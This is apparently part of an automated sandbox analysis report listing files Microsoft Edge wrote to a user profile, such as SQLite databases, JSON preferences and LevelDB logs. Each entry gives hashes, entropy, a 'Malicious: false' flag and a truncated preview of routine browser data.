C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\eb87a783-50c5-46a8-9e1c-65fbcde6cd7a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561289103295667
Encrypted:	false
SSDEEP:	768:h0HOC87pLGLh79WP0qffOy8F1+UoAYDCx9Tuqh0VfUC9xbog/OVVEXYQeGrwXOvl:h0HOCgch79WP0qffOyu1jaUEXveDXOvl
MD5:	D7F565013159BFF4857A48614F71D7EA
SHA1:	A59149B14A9DA1CB74FBA3FDBE5B34419A24C296
SHA-256:	0F600F2149908C340AE3F91F99B9C7DEB796AB5F53FBE8269E7580392375285E
SHA-512:	6F06422335629900B0CC46DFFCB24F3CB4C9847E6BF9C7B1CCEEF1445B5A4AE50784CF28E07DC3A904D792118C20CE79D22FA8770E36AB39A075A1914F91BA6D
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379413199515531","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379413199515531","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f6b3663b-9714-4cf5-83dd-d7b63f3597ab.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12753
Entropy (8bit):	5.267053298130936
Encrypted:	false
SSDEEP:	192:stFCJ99QTryDigabatSuypsZbIJZN1eTAk9sS3oC88bV+FiAMaQ+PQYJ:stQPGKSuasZbiZNg3bGiGQS
MD5:	9E3074FEB9F538ECB2A623C58DD6F454
SHA1:	8B753F91EDC636E865B209D11D082C1CBC55D618
SHA-256:	00520D8EC71D8B5B68520C81C9DC0EF26053AEE88287D896A370BF44DB753571
SHA-512:	E8EB6EB6A7DE44D12946F6C32384165D4078DDD7CD90AF1DD8EEAF4C51705DD1E400C09EF70EC6705A96C5F9A4E56B36F187CA69284818877C7263228EBDE7C3
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379413200171462","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340970644573687","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.04961500812665619
Encrypted:	false
SSDEEP:	6:Gd0oTlZGd0oTlZtqL9XCChslotGLNl0ml/XoQDeX:zoB9oBTypEjVl/XoQ
MD5:	68B418984B1C312556D102B4002D8374
SHA1:	16C36B2BA32E5C11D1FAD07A34906C92A65FA63A
SHA-256:	3CB91999534FDD120E4002E55654EB779619879717C432E84D17B33CB5CF41CD
SHA-512:	273D430453F22DEA336406522DEB9CF86ACF0F6FEB36CD57092A99FC9AD6A6088F136C69F3F16E429F3B0F75F7DE47FE5B5F2143905D58560106BF61CD59FA87
Malicious:	false
Preview:	..-...........................}XF{.....h.1..\|1....-...........................}XF{.....h.1..\|1..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	485
Entropy (8bit):	4.055987250793295
Encrypted:	false
SSDEEP:	6:/XntM+4il3sedhOeAyOuuuuuuuuudillT9LEE4/gPsedhOS:hlc8JAyOuuuuuuuuuAllT9Ls8z
MD5:	596DCBC357AD19E39D6CA1518ADDE223
SHA1:	D6BF9318C06A361876BF8A6289BB85A062E2DF8D
SHA-256:	AE0DBD0B4D01F62320C6C9985A3E9CBA447A523DFA7005B1DF083D33536D22C1
SHA-512:	41ACFCE16BE0CF76CDF2BBB1A49B01B38417193C6F625C47086EE309E0929FDED3DA9FEE3DE6D997E6C5AE6292EC77BE3116F997D02765C5D3BE00410316D470
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1.9.0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............a.Tl;...............#38_h.......6.Z..W.F.....y.......y............V.e................V.e................V.e................XO./0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	320
Entropy (8bit):	5.08302058888767
Encrypted:	false
SSDEEP:	6:EhAq2PqLTwi23oH+TcwtfrK+IFUt8F8hZmw+F87kwOqLTwi23oH+TcwtfrUeLJ:EhAv8wZYeb23FUt8F8h/+F875TwZYeb5
MD5:	26AD12D72AFAAB08A18E4B1762BCAF53
SHA1:	1568C496CE5754E8318F86D7FD0A7E7479212AC3
SHA-256:	9EEF95ABA6F050956F947FEA54643CBF68DEC2E35222CE25A6DD9A3131EC2C49
SHA-512:	73D77E36F8C8BFFDA221BD2C2AFDD487E107580A497E5B25551EF9B939F5B9EC6B96E332393EA663867E0E742D733E14859A3F16B55BFD369CC530173100FBB0
Malicious:	false
Preview:	2024/12/23-02:40:00.204 1520 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/12/23-02:40:00.205 1520 Recovering log #3.2024/12/23-02:40:00.205 1520 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	320
Entropy (8bit):	5.08302058888767
Encrypted:	false
SSDEEP:	6:EhAq2PqLTwi23oH+TcwtfrK+IFUt8F8hZmw+F87kwOqLTwi23oH+TcwtfrUeLJ:EhAv8wZYeb23FUt8F8h/+F875TwZYeb5
MD5:	26AD12D72AFAAB08A18E4B1762BCAF53
SHA1:	1568C496CE5754E8318F86D7FD0A7E7479212AC3
SHA-256:	9EEF95ABA6F050956F947FEA54643CBF68DEC2E35222CE25A6DD9A3131EC2C49
SHA-512:	73D77E36F8C8BFFDA221BD2C2AFDD487E107580A497E5B25551EF9B939F5B9EC6B96E332393EA663867E0E742D733E14859A3F16B55BFD369CC530173100FBB0
Malicious:	false
Preview:	2024/12/23-02:40:00.204 1520 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/12/23-02:40:00.205 1520 Recovering log #3.2024/12/23-02:40:00.205 1520 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	4.037333775091125
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvBs:G0nYUtypD3RUovhC+lvBOL+t3IvBs
MD5:	C5675C35B320A0898802E1ECFD3476E8
SHA1:	B6CA1C2EE1340662A7B495778416988006748327
SHA-256:	8E60BB9B60A9A242D016CF5425FF3D76A94911F197B3E4AB08A417E39C2832A5
SHA-512:	DAA3E9FADF4F69A88600460F48116E50BCE1C979E4AFA7114D1B8CCEC6626520CC3725D0BB845E0FCC8587A8690D4AC495C138AB1AAC2981CAEB9C485FA0CC67
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.153349291429113
Encrypted:	false
SSDEEP:	6:EEq2PqLTwi23oH+TcwtfrzAdIFUt8FyZmw+F+kwOqLTwi23oH+TcwtfrzILJ:EEv8wZYeb9FUt8Fy/+F+5TwZYeb2J
MD5:	6CDF7C0DA08C45FF6E796EFF3DC4ACAD
SHA1:	897807F5905403D3B43B9782F2ADA08243527313
SHA-256:	43CCF1B64E15238D95A3DDCFB1E27BC7D38C565456ACEFCE72B4AED48C49B29F
SHA-512:	C2FCB4F7BE10AE5B6681574D58BE8FFDAA993D196A4C925A40D1EBC2122D4E49DDF073F91EC3F4FC0E5BBD11744A50AEC52C24999972D77D68329684E9B8BFEB
Malicious:	false
Preview:	2024/12/23-02:40:00.196 1520 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/12/23-02:40:00.197 1520 Recovering log #3.2024/12/23-02:40:00.197 1520 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.153349291429113
Encrypted:	false
SSDEEP:	6:EEq2PqLTwi23oH+TcwtfrzAdIFUt8FyZmw+F+kwOqLTwi23oH+TcwtfrzILJ:EEv8wZYeb9FUt8Fy/+F+5TwZYeb2J
MD5:	6CDF7C0DA08C45FF6E796EFF3DC4ACAD
SHA1:	897807F5905403D3B43B9782F2ADA08243527313
SHA-256:	43CCF1B64E15238D95A3DDCFB1E27BC7D38C565456ACEFCE72B4AED48C49B29F
SHA-512:	C2FCB4F7BE10AE5B6681574D58BE8FFDAA993D196A4C925A40D1EBC2122D4E49DDF073F91EC3F4FC0E5BBD11744A50AEC52C24999972D77D68329684E9B8BFEB
Malicious:	false
Preview:	2024/12/23-02:40:00.196 1520 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/12/23-02:40:00.197 1520 Recovering log #3.2024/12/23-02:40:00.197 1520 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.101676407533722
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynoCBS2qX7bRtPHgorQXdbiR3oM:z/0+zI7ynokS20htP0Xdbe3
MD5:	CF3A9CE3390629AD48D649B6053BBA71
SHA1:	F9FFE819B396AAAE9BCFDC29D2CDDEE241E3CEE0
SHA-256:	E8915C0F13792723EE80E95C3340F14DCD43CC51495BC732649E6BFAA46BC493
SHA-512:	3C0F16E9FDB13D78A1DC808E96F04437AB9C5E7155D74C26C762BF77E28492A2B9A54D084360B79E0EA8E8A127C2279C154BD308E1F6740FCA0737D992238AE3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF24627.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.101676407533722
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynoCBS2qX7bRtPHgorQXdbiR3oM:z/0+zI7ynokS20htP0Xdbe3
MD5:	CF3A9CE3390629AD48D649B6053BBA71
SHA1:	F9FFE819B396AAAE9BCFDC29D2CDDEE241E3CEE0
SHA-256:	E8915C0F13792723EE80E95C3340F14DCD43CC51495BC732649E6BFAA46BC493
SHA-512:	3C0F16E9FDB13D78A1DC808E96F04437AB9C5E7155D74C26C762BF77E28492A2B9A54D084360B79E0EA8E8A127C2279C154BD308E1F6740FCA0737D992238AE3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF24636.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.101676407533722
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynoCBS2qX7bRtPHgorQXdbiR3oM:z/0+zI7ynokS20htP0Xdbe3
MD5:	CF3A9CE3390629AD48D649B6053BBA71
SHA1:	F9FFE819B396AAAE9BCFDC29D2CDDEE241E3CEE0
SHA-256:	E8915C0F13792723EE80E95C3340F14DCD43CC51495BC732649E6BFAA46BC493
SHA-512:	3C0F16E9FDB13D78A1DC808E96F04437AB9C5E7155D74C26C762BF77E28492A2B9A54D084360B79E0EA8E8A127C2279C154BD308E1F6740FCA0737D992238AE3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2483a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.101676407533722
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynoCBS2qX7bRtPHgorQXdbiR3oM:z/0+zI7ynokS20htP0Xdbe3
MD5:	CF3A9CE3390629AD48D649B6053BBA71
SHA1:	F9FFE819B396AAAE9BCFDC29D2CDDEE241E3CEE0
SHA-256:	E8915C0F13792723EE80E95C3340F14DCD43CC51495BC732649E6BFAA46BC493
SHA-512:	3C0F16E9FDB13D78A1DC808E96F04437AB9C5E7155D74C26C762BF77E28492A2B9A54D084360B79E0EA8E8A127C2279C154BD308E1F6740FCA0737D992238AE3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF26f0c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.101676407533722
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynoCBS2qX7bRtPHgorQXdbiR3oM:z/0+zI7ynokS20htP0Xdbe3
MD5:	CF3A9CE3390629AD48D649B6053BBA71
SHA1:	F9FFE819B396AAAE9BCFDC29D2CDDEE241E3CEE0
SHA-256:	E8915C0F13792723EE80E95C3340F14DCD43CC51495BC732649E6BFAA46BC493
SHA-512:	3C0F16E9FDB13D78A1DC808E96F04437AB9C5E7155D74C26C762BF77E28492A2B9A54D084360B79E0EA8E8A127C2279C154BD308E1F6740FCA0737D992238AE3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF29be8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.101676407533722
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynoCBS2qX7bRtPHgorQXdbiR3oM:z/0+zI7ynokS20htP0Xdbe3
MD5:	CF3A9CE3390629AD48D649B6053BBA71
SHA1:	F9FFE819B396AAAE9BCFDC29D2CDDEE241E3CEE0
SHA-256:	E8915C0F13792723EE80E95C3340F14DCD43CC51495BC732649E6BFAA46BC493
SHA-512:	3C0F16E9FDB13D78A1DC808E96F04437AB9C5E7155D74C26C762BF77E28492A2B9A54D084360B79E0EA8E8A127C2279C154BD308E1F6740FCA0737D992238AE3
Malicious:	false
